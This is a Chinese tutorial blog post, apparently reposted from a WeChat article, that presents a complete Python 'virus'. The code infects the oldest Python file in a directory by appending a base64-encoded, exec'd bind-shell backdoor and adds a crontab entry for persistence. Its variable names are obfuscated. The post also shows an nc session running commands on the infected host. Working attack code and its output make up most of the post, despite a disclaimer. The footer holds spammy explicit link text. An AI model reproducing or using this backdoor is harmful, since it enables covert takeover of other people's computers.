一区二区三区在线-一区二区三区亚洲视频-一区二区三区亚洲-一区二区三区午夜-一区二区三区四区在线视频-一区二区三区四区在线免费观看

腳本之家,腳本語言編程技術及教程分享平臺!
分類導航

Python|VBS|Ruby|Lua|perl|VBA|Golang|PowerShell|Erlang|autoit|Dos|bat|

服務器之家 - 腳本之家 - Python - 來看看 Python 病毒長啥樣

來看看 Python 病毒長啥樣

2021-12-07 22:50Python七號somenzz Python

今天的文章來展示一個 Python“病毒”,它感染其他 Python 文件來創建一個后門。后門利用 Python 的內置 socket 模塊來創建一個監聽器,用來連接到 Python 的內置子進程模塊,從而靶機上執行命令,同時還通過創建一個 cronjob 來建立持

來看看 Python 病毒長啥樣

大家好,抱歉偷懶了幾天,最近的作息也逐漸規律起來,更新也會盡量在早上 7 點前發出。接下來的日子里,讓我們繼續玩轉 Python。

今天的文章來展示一個 Python“病毒”,它感染其他 Python 文件來創建一個后門。后門利用 Python 的內置 socket 模塊來創建一個監聽器,用來連接到 Python 的內置子進程模塊,從而靶機上執行命令,同時還通過創建一個 cronjob 來建立持久性,以在每天固定的時間運行后門。最終完整的 Python 腳本包含在本文末尾。注意:請不要將本文中提供的 Python 腳本用于惡意目的。雖然它不先進,但經過一些修改,它可以讓完全控制某人的計算機。本文的主要目的是通過這些腳本,更好地了解黑客如何獲取正常程序并使它們成為惡意程序。

話不多說,讓我們開始吧。

1、建立通信

任何后門最重要的部分都是建立通信。現在,讓我們為后門訪問編寫一段代碼。通過 TCP 連接到靶機,我們使用套接字模塊監聽黑客的連接請求。在 socket 模塊中,有一個函數也稱為 socket,我們可以使用它來創建 TCP 或 UDP 套接字。使用 socket.socket 函數創建套接字時,我們需要提供兩個參數來指定我們要使用的 IP 版本和第 4 層協議。在這個 Python 腳本中,我們將傳入以下參數:socket.AF_INET 和 socket.SOCK_STREAM。

  • AF_INET : 指定 IPv4
  • SOCK_STREAM :指定 TCP 而不是 UDP。
  • socket.socket 函數返回一個對象,該對象由最終確定正在創建的套接字是偵聽套接字(服務器)還是連接套接字(客戶端)的方法組成。要創建偵聽套接字,需要使用以下方法:
  • bind > 將 IP 地址和端口綁定到網絡接口
  • listen > 指示我們的套接字開始監聽傳入的連接
  • accept > 接受傳入連接
  • recv > 從連接的客戶端接收數據
  • send > 向連接的客戶端發送數據

然而,最重要的方法是 recv 和 send。recv 方法會接收來自攻擊者的命令,使用 subproces.run 函數在受害者的系統上執行它們,然后將執行命令的標準輸出重定向到與攻擊者建立的 TCP 連接。下面是 Python 代碼:

  1. from socket import socket, AF_INET, SOCK_STREAM
  2. from subprocess import run, PIPE
  3. from os import _exit
  4. def serve():
  5. with socket(AF_INET, SOCK_STREAM) as soc:
  6. # [*] The obfuscated values are just the IP address and port to bind to
  7. soc.bind((ip, 端口))
  8. soc.listen(5)
  9. while True:
  10. conn, _ = soc.accept()
  11. while True:
  12. cmd = conn.recv(1024).decode("utf-8").strip()
  13. cmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE)
  14. if cmd_output.returncode == 0:
  15. conn.send(bytes(cmd_output.stdout))
  16. else:
  17. continue
  18. serve()

2、感染目標 Python 文件

這段程序通過遍歷指定目錄(最好是用戶的主目錄)并查找修改時間最早的 Python 腳本。這里是測試,因此不是感染所有 Python 文件,而僅感染修改時間最早的文件。感染一個 Python 文件對于控制靶機來說已經夠了。

  1. def MTRkYmNubWx(self):
  2. YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\\"
  3. for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa):
  4. for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"):
  5. if f == Z3Jvb3RhbGZq + YWJyZmFm + __file__:
  6. continue
  7. eHhtbG1vZGF0 = stat(f).st_mtime
  8. ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0)
  9. if not self.Z2hhenh4ZGwK:
  10. self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
  11. elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]:
  12. self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
  13. self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0])

上述代碼的部分變量使用了混淆,讓人不易看懂,其實很簡單,就是使用 os 模塊中定義的 walk 和 stat 函數來遍歷目錄文件并獲取它們的修改時間。獲得的每個文件的修改時間被轉換為 datetime.datetime 對象,以便我們可以使用 > < 和 == 等運算符輕松比較日期。在這個函數的最后,選定的目標 Python 文件名被傳遞到將后門服務器代碼注入其中的函數。

3、通過 crontab 任務來持久化

這個 Python 后門的最后一個函數使用 subprocess.run 函數來調用一個 Linux shell 命令,該命令將在當前用戶的 crontab 文件中創建一個條目。此條目指定計劃的 cronjob 應在每天 14:00 定時運行。添加 crontab 對應的 shell 命令如下:

  1. echo '00 14 * * * file_name | crontab -

然后我們讓 Python 把上一步感染的文件添加到 crontab 中:

  1. def YWZhdGhjCg(self):
  2. if self.bGpqZ2hjen == "Linux":
  3. run(f"echo '00 14 * * * {self.Z2hhenh4ZGwK[0]}' | crontab -", shell=True)

4、最終的完整代碼

  1. #!/usr/bin/env python3
  2. from os.path import expanduser
  3. from os import walk, stat
  4. from sys import path
  5. from glob import glob
  6. from platform import system
  7. from base64 import b64encode, b64decode
  8. from subprocess import run, PIPE
  9. from datetime import datetime
  10. class eHhjemR5eXB:
  11. def __init__(self, cHlkYWNhZWFpa):
  12. self.cHlkYWNhZWFpa = cHlkYWNhZWFpa
  13. self.bGpqZ2hjen = system()
  14. self.aWFmYXRye = "0.0.0.0"
  15. self.ZmFsa2p0aGM = 0x401
  16. self.Z2hhenh4ZGwK = None
  17. def dGVyeXB6Y2FjeH(self, dGR6eGFteXBxC):
  18. YWxmanRob = b"from socket import socket, AF_INET, SOCK_STREAM"
  19. YWxmanRob += b"\nfrom subprocess import run, PIPE"
  20. YWxmanRob += b"\ndef serve():"
  21. YWxmanRob += b"\n\twith socket(AF_INET, SOCK_STREAM) as soc:"
  22. YWxmanRob += bytes(
  23. f'\n\t\tsoc.bind(("{self.aWFmYXRye}", {self.ZmFsa2p0aGM}))', "utf-8"
  24. )
  25. YWxmanRob += b"\n\t\tsoc.listen(5)"
  26. YWxmanRob += b"\n\t\twhile True:"
  27. YWxmanRob += b"\n\t\t\tconn, _ = soc.accept()"
  28. YWxmanRob += b"\n\t\t\twhile True:"
  29. YWxmanRob += b'\n\t\t\t\tcmd = conn.recv(1024).decode("utf-8").strip()'
  30. YWxmanRob += (
  31. b"\n\t\t\t\tcmd_output = run(cmd.split(), stdout=PIPE, stderr=PIPE)"
  32. )
  33. YWxmanRob += b"\n\t\t\t\tif cmd_output.returncode == 0:"
  34. YWxmanRob += b"\n\t\t\t\t\tconn.send(bytes(cmd_output.stdout))"
  35. YWxmanRob += b"\n\t\t\t\telse: continue"
  36. YWxmanRob += b"\nserve()"
  37. YWxmanRob_base64 = b64encode(YWxmanRob)
  38. cXBxZXJjYQ = "\n" * 0x2 + "from subprocess import run\n"
  39. cXBxZXJjYQ += 'run("""python3 -c "from binascii import a2b_base64;'
  40. cXBxZXJjYQ += 'exec(a2b_base64(\'{}\'))" &""",shell=True)'.format(
  41. YWxmanRob_base64.decode()
  42. )
  43. with open(dGR6eGFteXBxC, "a") as f:
  44. f.write(cXBxZXJjYQ)
  45. self.ZmFsa2p0aGM += 1
  46. def MTRkYmNubWx(self):
  47. YWJyZmFm = "/" if self.bGpqZ2hjen == "Linux" else "\\"
  48. for Z3Jvb3RhbGZq, _, _ in walk(self.cHlkYWNhZWFpa):
  49. for f in glob(Z3Jvb3RhbGZq + YWJyZmFm + "*.py"):
  50. if f == Z3Jvb3RhbGZq + YWJyZmFm + __file__:
  51. continue
  52. eHhtbG1vZGF0 = stat(f).st_mtime
  53. ZHRmbGNhbW9k = datetime.fromtimestamp(eHhtbG1vZGF0)
  54. if not self.Z2hhenh4ZGwK:
  55. self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
  56. elif ZHRmbGNhbW9k < self.Z2hhenh4ZGwK[1]:
  57. self.Z2hhenh4ZGwK = (f, ZHRmbGNhbW9k)
  58. self.dGVyeXB6Y2FjeH(self.Z2hhenh4ZGwK[0])
  59. def YWZhdGhjCg(self):
  60. if self.bGpqZ2hjen == "Linux":
  61. run(f"echo '37 13 * * * {self.Z2hhenh4ZGwK[0]}' | crontab -", shell=True)
  62. if __name__ == "__main__":
  63. # For traversing the user's home directory
  64. # aGdsZGFx = expanduser('~')
  65. # YmNjLGFka2x = eHhjemR5eXB(aGdsZGFx)
  66. YmNjLGFka2x = eHhjemR5eXB("./test")
  67. YmNjLGFka2x.MTRkYmNubWx()
  68. YmNjLGFka2x.YWZhdGhjCg()

在靶機執行該代碼后,會感染 ./test 目錄中最早修改的文件(目標文件),會自動在目標文件的最后添加這兩行代碼:

  1. from subprocess import run
  2. run("""python3 -c "from binascii import a2b_base64;exec(a2b_base64('ZnJvbSBzb2NrZXQgaW1wb3J0IHNvY2tldCwgQUZfSU5FVCwgU09DS19TVFJFQU0KZnJvbSBzdWJwcm9jZXNzIGltcG

來看看 Python 病毒長啥樣

是不是非常隱蔽?

5、訪問后門

為了測試,我們手動執行下感染的文件,而不是等待 crontab。

  1. ~ # crontab -l
  2. 37 13 * * * /root/transferfile/transfile_interface.py
  3. ~ # cd transferfile/
  4. ~/transferfile # python transfile_interface.py
  5. ~/transferfile #

程序正常結束,沒有任何異常。然后使用 nc localhost 1025 來反彈一個 shell,在這里執行 ls, whoami 就是靶機的信息了:

來看看 Python 病毒長啥樣

這里演示的 localhost 即為靶機,真實場景下就是靶機的 ip 地址。現在靶機已經完全被控制了,而受害者完全不知情。

最后的話

現在,你已經學習了如何使用 Python 編程語言創建持久性后門,學習了如何使用 Python 的 socket 模塊、如何遍歷目錄以及如何創建 crontab 任務。如果要感染真實靶機,還要學會如何分發這個后門程序,這里不做探討。

原文鏈接:https://mp.weixin.qq.com/s/6KvZD03JTGor8Aqx0C83ig

延伸 · 閱讀

精彩推薦
主站蜘蛛池模板: 无码AV熟妇素人内射V在线 | 亚洲热在线视频 | 久久视频精品3线视频在线观看 | 亚洲精美视频 | 久久久伊人影院 | 国产精品香蕉在线观看不卡 | 91精品国产91热久久p | 极品ts赵恩静和直男激战啪啪 | 成年男女免费视频观看性 | 亚洲29p| 5g影院天天爽爽 | 天美传媒传媒免费观看 | 亚洲精品国偷拍自产在线观看蜜臀 | 2019国内自拍 | 欧洲美女女同 | 亚洲欧洲日产v特级毛片 | 男人的j伸到女人的屁股眼 男人吃奶动态图 | 亚洲瑟瑟网 | 欧美又黄又激烈真实床戏 | 亚洲精品成人a | 天天综合色天天综合色sb | 亚洲第五色综合网啪啪 | 精品一区二区三区视频日产 | 国产乱码在线精品可播放 | avtt在线播放 | 国产一级片在线 | 亚洲国产精品综合久久一线 | 特黄特a级特别特级特毛片 特黄a级三级三级野战 | 射西西| sese在线| 男男playh片在线观看 | 动漫美女人物被黄漫小说 | 久久三级视频 | 国产永久免费爽视频在线 | 天堂伊人 | 精品视频在线播放 | zol中关村在线 | 青青草精品在线 | 国产精品久久久精品视频 | 香蕉91 | 国产精品久久久久久久久免费观看 |